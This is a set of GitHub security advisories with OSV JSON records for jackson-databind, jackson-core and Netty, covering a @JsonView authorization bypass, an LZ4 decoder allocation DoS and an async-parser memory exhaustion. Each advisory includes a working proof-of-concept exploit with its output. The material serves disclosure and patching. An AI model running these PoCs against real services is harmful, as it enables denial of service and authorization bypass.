"published": "2026-05-07T00:13:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-m4cv-j2px-7723"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42580"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing"
}
GHSA-MHM7-754M-9P8W
Vulnerability from github – Published: 2026-07-21 19:40 – Updated: 2026-07-21 19:40Summary
In BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId, the active-view (@JsonView) filter was applied only to the regular bean-property branch; the creator-property branch performed no creatorProp.visibleInView(activeView) check. A constructor parameter annotated with both @JsonView(RestrictedView.class) and @JsonTypeInfo(use=Id.NAME,
include=As.EXTERNAL_PROPERTY) is populated from attacker JSON even when a more restrictive view is active.
This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #6004 ("Extend #5969/#5971 fixes to ... external-type-id case in regular BeanDeserializer", commit 7dc7a17, 2026-05-22) but
the fix was never backported to 2.21 or 2.18. Users on 2.21.4 and 2.18.8 who upgraded per the published advisories remain vulnerable to the same @JsonView bypass technique via a different code path.
Vulnerable Code Path
File: com/fasterxml/jackson/databind/deser/BeanDeserializer.java
Method: deserializeUsingPropertyBasedWithExternalTypeId
On 2.21.4 (and 2.18.8), the creator-property branch (around line 1125-1158) checks creatorProp.isInjectionOnly() and hands off to ext.handlePropertyValue(...) / buffer.assignParameter(...) without ever consulting visibleInView(activeView):
```java if (creatorProp != null) { // [databind#1381]: if useInput=FALSE, skip deserialization from input if (creatorProp.isInjectionOnly()) { ... } // NO visibleInView(activeView) CHECK HERE if (!ext.handlePropertyValue(p, ctxt, propName, null)) { if (buffer.assignParameter(creatorProp, ...)) { ... } } continue; }
On 3.1.4, the same branch contains the additional guard (commit 7dc7a17):
```java
if (creatorProp != null) {
// [databind#5971]: must honor active view here too
if ((activeView != null) && !creatorProp.visibleInView(activeView)) {
p.skipChildren();
continue;
}
...
}
The 2.21 and 2.18 backport PRs (#6005 and #6003) only backported the main-path fixes from #5969/#5971; the external-type-id fix from #6004 was not backported. The maintainer closed #6005 with "got changes merged forward, looks like it's all covered now", but the forward-merge did not include the ExtTypeId creator branch.
Proof of Concept
Compiles and runs against jackson-databind 2.21.4:
import com.fasterxml.jackson.annotation.*;
import com.fasterxml.jackson.databind.ObjectMapper;
public class JsonViewExternalTypeIdBypass {
public static class PublicView {}
public static class AdminView extends PublicView {}
public static abstract class Asset { public String name; }
public static class PublicAsset extends Asset {}
public static class AdminAsset extends Asset { public String secret; }
public static class Container {
@JsonTypeInfo(use = JsonTypeInfo.Id.NAME,
include = JsonTypeInfo.As.EXTERNAL_PROPERTY,
property = "kind")
@JsonSubTypes({
@JsonSubTypes.Type(value = PublicAsset.class, name = "pub"),
@JsonSubTypes.Type(value = AdminAsset.class, name = "admin")
})
@JsonView(AdminView.class)
public Asset asset;
public String label;
@JsonCreator
public Container(
@JsonProperty("label") String label,
@JsonProperty("asset") @JsonView(AdminView.class) Asset asset) {
this.label = label;
this.asset = asset;
}
}
public static class Wrapper {
@JsonView(PublicView.class)
public Container data;
}
public static void main(String[] args) throws Exception {
// Admin-only "asset" should be blocked when reading with PublicView
String json = "{\"data\":{\"label\":\"hello\",\"kind\":\"admin\","
+ "\"asset\":{\"name\":\"foo\",\"secret\":\"LEAKED\"}}}";
ObjectMapper om = new ObjectMapper();
Wrapper r = om.readerWithView(PublicView.class)
.forType(Wrapper.class)
.readValue(json);
System.out.println(r.data);
// Actual on 2.21.4: Container{label='hello', asset=AdminAsset{name='foo', secret='LEAKED'}}
// Expected (secure): Container{label='hello', asset=null}
if (r.data.asset != null && r.data.asset instanceof AdminAsset) {
System.out.println("[!!] BYPASS CONFIRMED — admin-only asset populated under PublicView");
}
}
}
A control case that removes include = As.EXTERNAL_PROPERTY (forcing the normal property-based path) correctly returns asset = null, confirming the bypass is specific to the ExternalTypeId code path and not a misconfiguration.
Impact
View-restricted (e.g. admin-only) creator properties can be populated from untrusted input where @JsonView is used as a write-side authorization boundary. Typical victims are Spring Boot REST controllers that use @JsonView(PublicView.class) on the request body to whitelist user-settable fields — an attacker can inject the restricted creator parameter (including choosing the polymorphic subtype via the sibling kind/type-id property) by combining it with a polymorphic @JsonTypeInfo(EXTERNAL_PROPERTY) annotation on the same field.
- CWE-863 (Incorrect Authorization)
- Same impact class as CVE-2026-54517 / CVE-2026-54518
- No RCE, no DoS — this is an access-control / mass-assignment bypass
Trigger Conditions
Developer code must combine (no opt-in user configuration required):
- Property-based @JsonCreator on the outer type
- A creator parameter annotated with @JsonView(RestrictedView.class)
- The same parameter annotated with @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY, property="...")
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.18.8"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.18.0"
},
{
"fixed": "2.18.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.21.4"
},
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.21.0"
},
{
"fixed": "2.21.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-863"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T19:40:12Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nIn `BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId`, the active-view (`@JsonView`) filter was applied only to the regular bean-property branch; the creator-property branch performed no `creatorProp.visibleInView(activeView)` check. A constructor parameter annotated with both `@JsonView(RestrictedView.class)` and `@JsonTypeInfo(use=Id.NAME,\n include=As.EXTERNAL_PROPERTY)` is populated from attacker JSON even when a more restrictive view is active.\n\n This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #6004 (\"Extend #5969/#5971 fixes to ... external-type-id case in regular BeanDeserializer\", commit 7dc7a17, 2026-05-22) but\n **the fix was never backported to 2.21 or 2.18**. Users on 2.21.4 and 2.18.8 who upgraded per the published advisories remain vulnerable to the same `@JsonView` bypass technique via a different code path.\n\n## Vulnerable Code Path\n\nFile: `com/fasterxml/jackson/databind/deser/BeanDeserializer.java`\nMethod: `deserializeUsingPropertyBasedWithExternalTypeId`\n\nOn 2.21.4 (and 2.18.8), the creator-property branch (around line 1125-1158) checks `creatorProp.isInjectionOnly()` and hands off to `ext.handlePropertyValue(...)` / `buffer.assignParameter(...)` without ever consulting `visibleInView(activeView)`:\n\n ```java\n if (creatorProp != null) {\n // [databind#1381]: if useInput=FALSE, skip deserialization from input\n if (creatorProp.isInjectionOnly()) { ... }\n // NO visibleInView(activeView) CHECK HERE\n if (!ext.handlePropertyValue(p, ctxt, propName, null)) {\n if (buffer.assignParameter(creatorProp, ...)) { ... }\n }\n continue;\n }\n```\n\nOn 3.1.4, the same branch contains the additional guard (commit 7dc7a17):\n\n ```java\n if (creatorProp != null) {\n // [databind#5971]: must honor active view here too\n if ((activeView != null) \u0026\u0026 !creatorProp.visibleInView(activeView)) {\n p.skipChildren();\n continue;\n }\n ...\n }\n```\n\nThe 2.21 and 2.18 backport PRs (#6005 and #6003) only backported the main-path fixes from #5969/#5971; the external-type-id fix from #6004 was not backported. The maintainer closed #6005\n with \"got changes merged forward, looks like it\u0027s all covered now\", but the forward-merge did not include the ExtTypeId creator branch.\n\n Proof of Concept\n\n Compiles and runs against jackson-databind 2.21.4:\n \n```java\n import com.fasterxml.jackson.annotation.*;\n import com.fasterxml.jackson.databind.ObjectMapper;\n\n public class JsonViewExternalTypeIdBypass {\n public static class PublicView {}\n public static class AdminView extends PublicView {}\n\n public static abstract class Asset { public String name; }\n public static class PublicAsset extends Asset {}\n public static class AdminAsset extends Asset { public String secret; }\n\n public static class Container {\n @JsonTypeInfo(use = JsonTypeInfo.Id.NAME,\n include = JsonTypeInfo.As.EXTERNAL_PROPERTY,\n property = \"kind\")\n @JsonSubTypes({\n @JsonSubTypes.Type(value = PublicAsset.class, name = \"pub\"),\n @JsonSubTypes.Type(value = AdminAsset.class, name = \"admin\")\n })\n @JsonView(AdminView.class)\n public Asset asset;\n\n public String label;\n\n @JsonCreator\n public Container(\n @JsonProperty(\"label\") String label,\n @JsonProperty(\"asset\") @JsonView(AdminView.class) Asset asset) {\n this.label = label;\n this.asset = asset;\n }\n }\n\n public static class Wrapper {\n @JsonView(PublicView.class)\n public Container data;\n }\n\n public static void main(String[] args) throws Exception {\n // Admin-only \"asset\" should be blocked when reading with PublicView\n String json = \"{\\\"data\\\":{\\\"label\\\":\\\"hello\\\",\\\"kind\\\":\\\"admin\\\",\"\n + \"\\\"asset\\\":{\\\"name\\\":\\\"foo\\\",\\\"secret\\\":\\\"LEAKED\\\"}}}\";\n\n ObjectMapper om = new ObjectMapper();\n Wrapper r = om.readerWithView(PublicView.class)\n .forType(Wrapper.class)\n .readValue(json);\n\n System.out.println(r.data);\n // Actual on 2.21.4: Container{label=\u0027hello\u0027, asset=AdminAsset{name=\u0027foo\u0027, secret=\u0027LEAKED\u0027}}\n // Expected (secure): Container{label=\u0027hello\u0027, asset=null}\n if (r.data.asset != null \u0026\u0026 r.data.asset instanceof AdminAsset) {\n System.out.println(\"[!!] BYPASS CONFIRMED \u2014 admin-only asset populated under PublicView\");\n }\n }\n }\n```\n\nA control case that removes include = As.EXTERNAL_PROPERTY (forcing the normal property-based path) correctly returns asset = null, confirming the bypass is specific to the ExternalTypeId\n code path and not a misconfiguration.\n\n### Impact\n\n View-restricted (e.g. admin-only) creator properties can be populated from untrusted input where @JsonView is used as a write-side authorization boundary. Typical victims are Spring Boot\n REST controllers that use @JsonView(PublicView.class) on the request body to whitelist user-settable fields \u2014 an attacker can inject the restricted creator parameter (including choosing\n the polymorphic subtype via the sibling kind/type-id property) by combining it with a polymorphic @JsonTypeInfo(EXTERNAL_PROPERTY) annotation on the same field.\n\n- CWE-863 (Incorrect Authorization)\n- Same impact class as CVE-2026-54517 / CVE-2026-54518\n- No RCE, no DoS \u2014 this is an access-control / mass-assignment bypass\n\n### Trigger Conditions\n\nDeveloper code must combine (no opt-in user configuration required):\n\n1. Property-based @JsonCreator on the outer type\n2. A creator parameter annotated with @JsonView(RestrictedView.class)\n3. The same parameter annotated with @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY, property=\"...\")",
"id": "GHSA-mhm7-754m-9p8w",
"modified": "2026-07-21T19:40:12Z",
"published": "2026-07-21T19:40:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-mhm7-754m-9p8w"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/c628b357ed143d8492756d5c1458cfb9fbeb29ed"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/dea7eb466e98cc226c4ac65587581fb49926820c"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind: `@JsonView` bypass for creator properties with `@JsonTypeInfo(include=As.EXTERNAL_PROPERTY)`"
}
GHSA-MJ4R-2HFC-F8P6
Vulnerability from github – Published: 2026-05-07 00:20 – Updated: 2026-05-14 20:41Summary
Lz4FrameDecoder allocates a ByteBuf of size decompressedLength (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus compressedLength payload bytes - 22 bytes if compressedLength == 1 - to force that allocation.
Details
io.netty.handler.codec.compression.Lz4FrameDecoder#decode
Header fields are trusted for sizing. On the compressed path, after readableBytes >= compressedLength, the decoder does ctx.alloc().buffer(decompressedLength, decompressedLength) then decompresses.
PoC
The test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB
@Test
void test() throws Exception {
EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
try {
AtomicReference<Throwable> serverError = new AtomicReference<>();
CountDownLatch latch = new CountDownLatch(1);
ServerBootstrap server = new ServerBootstrap()
.group(workerGroup)
.channel(NioServerSocketChannel.class)
.childHandler(new ChannelInitializer<SocketChannel>() {
@Override
protected void initChannel(SocketChannel ch) {
ch.pipeline()
.addLast(new Lz4FrameDecoder())
.addLast(new ChannelInboundHandlerAdapter() {
@Override
public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
if (cause instanceof DecoderException) {
serverError.set(cause.getCause());
} else {
serverError.set(cause);
}
latch.countDown();
}
});
}
});
ChannelFuture serverChannel = server.bind(0).sync();
Bootstrap client = new Bootstrap()
.group(workerGroup)
.channel(NioSocketChannel.class)
.handler(new ChannelInboundHandlerAdapter() {
@Override
public void channelActive(ChannelHandlerContext ctx) {
ByteBuf buf = ctx.alloc().buffer(22, 22);
buf.writeLong(MAGIC_NUMBER);
buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
buf.writeIntLE(1);
buf.writeIntLE(1 << 25);
buf.writeIntLE(0);
buf.writeByte(0);
ctx.writeAndFlush(buf);
ctx.fireChannelActive();
}
});
ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();
assertTrue(latch.await(10, TimeUnit.SECONDS));
assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());
clientChannel.channel().close();
serverChannel.channel().close();
} finally {
workerGroup.shutdownGracefully();
}
}
Impact
Untrusted senders without per-channel / aggregate limits can stress memory with many small requests.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-compression"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42583"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:20:35Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "HIGH"
},
"details": "### Summary\nLz4FrameDecoder allocates a ByteBuf of size `decompressedLength` (up to 32 MB per block) before LZ4 runs. A peer only needs a 21-byte header plus `compressedLength` payload bytes - 22 bytes if `compressedLength == 1` - to force that allocation.\n\n### Details\nio.netty.handler.codec.compression.Lz4FrameDecoder#decode\nHeader fields are trusted for sizing. On the compressed path, after `readableBytes \u003e= compressedLength`, the decoder does `ctx.alloc().buffer(decompressedLength, decompressedLength)` then decompresses.\n\n### PoC\nThe test below demonstrates how an attacker sending 22 bytes will force the server to allocate 32MB\n\n```java\n @Test\n void test() throws Exception {\n EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());\n try {\n AtomicReference\u003cThrowable\u003e serverError = new AtomicReference\u003c\u003e();\n CountDownLatch latch = new CountDownLatch(1);\n\n ServerBootstrap server = new ServerBootstrap()\n .group(workerGroup)\n .channel(NioServerSocketChannel.class)\n .childHandler(new ChannelInitializer\u003cSocketChannel\u003e() {\n @Override\n protected void initChannel(SocketChannel ch) {\n ch.pipeline()\n .addLast(new Lz4FrameDecoder())\n .addLast(new ChannelInboundHandlerAdapter() {\n @Override\n public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n if (cause instanceof DecoderException) {\n serverError.set(cause.getCause());\n } else {\n serverError.set(cause);\n }\n latch.countDown();\n }\n });\n }\n });\n\n ChannelFuture serverChannel = server.bind(0).sync();\n\n Bootstrap client = new Bootstrap()\n .group(workerGroup)\n .channel(NioSocketChannel.class)\n .handler(new ChannelInboundHandlerAdapter() {\n @Override\n public void channelActive(ChannelHandlerContext ctx) {\n ByteBuf buf = ctx.alloc().buffer(22, 22);\n buf.writeLong(MAGIC_NUMBER);\n buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);\n buf.writeIntLE(1);\n buf.writeIntLE(1 \u003c\u003c 25);\n buf.writeIntLE(0);\n buf.writeByte(0);\n\n ctx.writeAndFlush(buf);\n\n ctx.fireChannelActive();\n }\n });\n\n ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();\n\n assertTrue(latch.await(10, TimeUnit.SECONDS));\n\n assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());\n\n clientChannel.channel().close();\n serverChannel.channel().close();\n } finally {\n workerGroup.shutdownGracefully();\n }\n }\n```\n\n### Impact\nUntrusted senders without per-channel / aggregate limits can stress memory with many small requests.",
"id": "GHSA-mj4r-2hfc-f8p6",
"modified": "2026-05-14T20:41:13Z",
"published": "2026-05-07T00:20:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-mj4r-2hfc-f8p6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42583"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty Lz4FrameDecoder is vulnerable to resource exhaustion "
}
GHSA-R7WM-3CXJ-WFF9
Vulnerability from github – Published: 2026-07-21 21:58 – Updated: 2026-08-03 20:30Summary
The fix released in jackson-core 2.18.6 and 2.21.1 for GHSA-72hv-8253-57qq (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit b0c428e6 (#1555) wired validateIntegerLength into a new _setIntLength helper and called it at every place where the integer portion of a number is decided (terminator byte arrived, . / e/E seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside MINOR_NUMBER_INTEGER_DIGITS, return NOT_AVAILABLE to caller".
As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows on every chunk, and validateIntegerLength is never invoked. The accumulator is only gated by maxStringLength (20 MiB default) — a ~20,000x amplification of the documented maxNumberLength (1000 default).
This is the same vulnerability class, same advisory wording ("Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers"), same parser class — just the streaming path the original fix didn't cover. The fix to the fraction path is correct (see _finishFloatFraction at line 1834-1837 of NonBlockingUtf8JsonParserBase.java in 2.18.6, where _setFractLength(fractLen) IS called before the NOT_AVAILABLE return); the equivalent call is missing from every integer-digit path.
Affected versions
Verified on the patched releases:
- com.fasterxml.jackson.core:jackson-core 2.18.6
- com.fasterxml.jackson.core:jackson-core 2.21.1
Structurally identical code in tools.jackson.core 3.0.x / 3.1.x — same NonBlockingUtf8JsonParserBase class, same _setIntLength rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.
Affected code
src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java in 2.18.6 / 2.21.1.
Site 1 — _startPositiveNumber(int ch) lines 1320-1330:
if (outPtr >= outBuf.length) {
// NOTE: must expand to ensure contents all in a single buffer (to keep
// other parts of parsing simpler)
outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (++_inputPtr >= _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr)
}
Site 2 — _finishNumberIntegralPart lines 1691-1727:
protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
int negMod = _numberNegative ? -1 : 0;
while (true) {
if (_inputPtr >= _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
return _updateTokenToNA(); // <-- no validateIntegerLength(outPtr + negMod)
}
int ch = getByteFromBuffer(_inputPtr) & 0xFF;
if (ch < INT_0) {
if (ch == INT_PERIOD) {
_setIntLength(outPtr+negMod); // <-- validated here
++_inputPtr;
return _startFloat(outBuf, outPtr, ch);
}
break;
}
if (ch > INT_9) {
if ((ch | 0x20) == INT_e) {
_setIntLength(outPtr+negMod); // <-- validated here
++_inputPtr;
return _startFloat(outBuf, outPtr, ch);
}
break;
}
++_inputPtr;
if (outPtr >= outBuf.length) {
outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
}
_setIntLength(outPtr+negMod); // <-- validated here
_textBuffer.setCurrentLength(outPtr);
return _valueComplete(JsonToken.VALUE_NUMBER_INT);
}
The pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every "ran out of input mid-integer" exit returns to the caller without validating the accumulator length.
Compare with the fraction path that is correct
_finishFloatFraction lines 1827-1838:
while (loop) {
if (ch >= INT_0 && ch <= INT_9) {
++fractLen;
if (outPtr >= outBuf.length) {
outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (_inputPtr >= _inputEnd) {
_textBuffer.setCurrentLength(outPtr);
_setFractLength(fractLen); // <-- VALIDATED
return JsonToken.NOT_AVAILABLE;
}
ch = getNextSignedByteFromBuffer();
}
...
}
Impact
Reactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping JsonFactory.createNonBlockingByteArrayParser() or createNonBlockingByteBufferParser()) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set StreamReadConstraints.builder().maxNumberLength(N) on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to maxStringLength (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.
The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser on complete input are not affected — those paths go through _setIntLength or ParserBase._reportTooLongIntegral correctly.
CWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.
Proof of concept
Standalone PoC, no Maven required:
mkdir poc && cd poc
curl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar
cat > PoC.java <<'EOF'
import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.core.async.ByteArrayFeeder;
public class PoC {
public static void main(String[] args) throws Exception {
StreamReadConstraints strict = StreamReadConstraints.builder()
.maxNumberLength(1000)
.build();
JsonFactory f = new JsonFactoryBuilder()
.streamReadConstraints(strict)
.build();
// Sanity: synchronous parser rejects 5000-digit int.
try (JsonParser p = f.createParser("{\"v\":" + "1".repeat(5000) + "}")) {
while (p.nextToken() != null) { /* drive */ }
System.out.println("[-] BUG ABSENT: sync parser accepted");
return;
} catch (Exception e) {
System.out.println("[+] sync parser rejected 5000-digit int: " + e.getClass().getSimpleName());
}
// Bug: async parser, chunked, no terminator.
JsonParser ap = f.createNonBlockingByteArrayParser();
ByteArrayFeeder feeder = (ByteArrayFeeder) ap;
byte[] preamble = "{\"v\":".getBytes("UTF-8");
feeder.feedInput(preamble, 0, preamble.length);
while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }
byte[] digits = new byte[16 * 1024];
for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9));
for (int c = 0; c < 600; c++) {
feeder.feedInput(digits, 0, digits.length);
JsonToken t = ap.nextToken();
if (t != JsonToken.NOT_AVAILABLE) {
System.out.println("[-] unexpected token: " + t);
return;
}
}
System.out.println("[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000");
// Closing the number now finally triggers the validator.
feeder.feedInput("}".getBytes("UTF-8"), 0, 1);
feeder.endOfInput();
try {
while (ap.nextToken() != null) { /* drive */ }
} catch (Exception e) {
System.out.println("[*] late rejection on close: " + e.getMessage().split("\n")[0]);
}
ap.close();
}
}
EOF
javac -cp jackson-core-2.18.6.jar PoC.java
java -Xmx256m -cp jackson-core-2.18.6.jar:. PoC
Observed output against jackson-core-2.18.6:
[+] sync parser rejected 5000-digit int: StreamConstraintsException
[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000
[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)
Observed output against jackson-core-2.21.1: identical.
The 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is maxStringLength = 20 MiB. With the strict policy declared as maxNumberLength = 1000, the parser permits 9830x more allocation than the policy allows. With maxStringLength left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of char[] heap (chars are 2 bytes each) before the validator finally fires on terminator/endOfInput(). Multiply by concurrent connections.
End-to-end reproduction through real HTTP
Supplements the standalone PoC with a running Spring Boot WebFlux server, driving the same bug through the actual reactor-netty + Jackson2JsonDecoder streaming-decode path that production reactive endpoints use.
Setup:
- Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)
- jackson-databind 2.17.2, jackson-core overridden:
- VULN run: com.fasterxml.jackson.core:jackson-core:2.18.7 (latest published)
- PATCHED run: 2.18.8-SNAPSHOT built from the fix branch
- JVM: OpenJDK 17.0.18
- Server JsonFactory configured with StreamReadConstraints.builder().maxNumberLength(1000).build()
Endpoint under test exposes the Flux<DataBuffer> request body directly to
Jackson2JsonDecoder.decode(Flux, ResolvableType, ...) so the parser sees one
HTTP chunk per feedInput (the same pattern used for any
@RequestBody Flux<...> / streaming JSON decoder in WebFlux). A raw-socket
HTTP/1.1 chunked client streams {"v":1 then 250 chunks of 200 digit bytes
each (50,000 digits total) at 20ms intervals, then writes the closing }.
VULN — jackson-core 2.18.7:
[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting
[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:
HTTP/1.1 200 OK
ERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:
Number value length (50000) exceeds the maximum allowed (1000, ...)
Server-side controller trace (250 DataBuffer arrivals elided):
[ctrl] DataBuffer arrived size=6 ms=39 <- '{"v":1'
[ctrl] DataBuffer arrived size=200 ms=42
...
[ctrl] DataBuffer arrived size=199 ms=5993
[ctrl] DataBuffer arrived size=1 ms=6518 <- closing '}'
[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...
Server held all 50,000 digit characters in _textBuffer for 6.5 seconds with
maxNumberLength=1000 declared. The validator never fires during streaming;
it only fires at value-completion when the closing } arrives.
PATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch):
[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe
[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream
Server-side controller trace:
[ctrl] DataBuffer arrived size=6 ms=129
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=145
[ctrl] DataBuffer arrived size=200 ms=146
[ctrl] DataBuffer arrived size=200 ms=147
[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)
Patched server raises StreamConstraintsException at 155ms after only 5
DataBuffers, exactly when the accumulated digit count crosses
maxNumberLength=1000. The connection is reset mid-stream rather than the
parser silently consuming the rest of the attacker's payload.
Side-by-side:
| Build | Chunks accepted before exception | Digits buffered | Time to detection |
|---|---|---|---|
| jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms — only at terminator |
| 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms — moment threshold crossed |
Note on the default @RequestBody Mono<JsonNode> path: that path cannot
distinguish the two builds because Spring's decodeToMono joins all
DataBuffers into one before parsing. The exploitable shape is the
streaming-decode path (Flux<JsonNode> / @RequestBody Flux<...> /
WebSocket / SSE / any direct decoder.decode(Flux<DataBuffer>, ...) call),
which is also what Jackson2Tokenizer uses for any streaming JSON
deserialization in WebFlux and Quarkus reactive REST.
Suggested fix
Mirror the pattern already used in _finishFloatFraction. At every site that returns _updateTokenToNA() (or JsonToken.NOT_AVAILABLE) with _minorState = MINOR_NUMBER_INTEGER_DIGITS, call _setIntLength(outPtr + negMod) first. Concretely, the diff to NonBlockingUtf8JsonParserBase.java would be:
protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
int negMod = _numberNegative ? -1 : 0;
while (true) {
if (_inputPtr >= _inputEnd) {
_minorState = MINOR_NUMBER_INTEGER_DIGITS;
_textBuffer.setCurrentLength(outPtr);
+ _streamReadConstraints.validateIntegerLength(outPtr + negMod);
return _updateTokenToNA();
}
